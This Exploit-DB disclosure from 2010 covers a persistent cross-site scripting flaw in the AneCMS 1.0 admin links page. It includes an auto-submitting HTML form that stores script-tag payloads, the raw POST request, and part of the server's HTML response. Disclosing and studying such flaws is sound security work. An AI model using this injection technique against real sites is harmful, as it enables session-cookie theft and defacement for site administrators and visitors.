Exploit-DB #33748
Description: AneCMS 1.0 - 'index.php' Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-11
Author: pratul agrawal

Exploit:
source: https://www.securityfocus.com/bid/38657/info

AneCMS is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

AneCMS 1.0 is vulnerable; other versions may also be affected. 

                                     =======================================================================
     
                                                  ANE CMS 1 Persistent XSS Vulnerability
   
                                     =======================================================================
     
                                                                   by
     
                                                              Pratul Agrawal
   
     
     
  # Vulnerability found in- Admin module
     
  # email         Pratulag@yahoo.com
     
  # company       aksitservices
     
  # Credit by     Pratul Agrawal
   
  # Software      ANE CMS 1
  
  # Category      CMS / Portals
  
  # Plateform     php
    
     
     
  #   Proof of concept   #
   
  Targeted URL:  http://server/acp/index.php?p=cfg&m=links
    
   
  In ADD LINKS Field provide the malicious script to store in the Database.
 
  That is-
 
                      <html>
 
                          <body>
 
                             <form name="XYZ" action="http://server/acp/index.php?p=cfg&m=links&id=0" method="post">
 
                                    <input type=hidden name="name" value=""><script>alert("XSS")</script>">
 
                                    <input type=hidden name="link" value=""><script>alert("XSS")</script>">
 
                                    <input type=hidden name="type" value="1">
               
                                    <input type=hidden name="view" value="0">
 
                             </form>
 
                               <script>
 
                                 document.XYZ.submit();
 
                               </script>
 
                          </body>
 
                        </html>
 
 
  =======================================================================
  Request -
  =======================================================================
  POST /acp/index.php?p=cfg&m=links&id=0 HTTP/1.1
  Host: server
  User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-us,en;q=0.5
  Accept-Encoding: gzip,deflate
  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Proxy-Connection: keep-alive
  Referer: http://server/acp/index.php?p=cfg&m=links
  Cookie: PHPSESSID=200fecb6b36334b983ebe251d11a5df9
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 41
 
  name="><script>alert("XSS")</script>&link="><script>alert("XSS")</script>&type=1&view=0
  
  =======================================================================
  =======================================================================
  Response-
  =======================================================================
  HTTP/1.1 200 OK
  Date: Thu, 11 Mar 2010 06:59:03 GMT
  Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Vary: Accept-Encoding
  Content-Type: text/html; charset: utf-8
  Content-Length: 7771
 
&#65279;&#65279;<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Transdmin Light</title>
 
<!-- CSS -->
<link href="./skins/aaa/css/transdmin.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]><link rel="stylesheet" type="text/css" media="screen" href="./skins/aaa/css/ie6.css" /><![endif]-->
<!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen" href="./skins/aaa/css/ie7.css" /><![endif]-->
 
<!-- JavaScripts-->
<link rel="stylesheet" type="text/css" href="http://server/system/js/jquery.jgrowl.css" media="screen"/> <script type="text/javascript" src="http://server/system/js/jquery-1.3.2.min.js"></script><script type="text/javascript" src="http://server/system/js/jquery.jgrowl_minimized.js"></script>
<style>div.jGrowl div.green {
background-color:       #00D400;
color:                  navy;
    }</style>
</head>
 
<body>
     
    <div id="wrapper">
        <!-- h1 tag stays for the logo, you can use the a tag for linking the index page -->
        <h1><a href="#"><span>Administration</span></a></h1>
 
        <!-- You can name the links with lowercase, they will be transformed to uppercase by CSS, we prefered to name them with uppercase to have the same effect with disabled stylesheet -->
        <ul id="mainNav">
            <li><a href="index.php">Dashboard</a></li>
            <li><a href="?p=cfg">Configuration</a></li>
            <li><a href="?p=tpl">Design</a></li>
            <li><a href="?p=mod">Modules</a></li>
            <li class="logout"><a href="#">Logout Admin</a></li>
        <li class="logout"><a href="../index.php">CMS</a></li>
        </ul>
        <!-- // #end mainNav -->
 
        <div id="containerHolder">
            <div id="container">
    <div id="sidebar">
         
    <ul class="sideNav">
                                <li><a href="?p=cfg">Show Setting</a></li>
                                <li><a href="?p=cfg&m=mod">Modify Se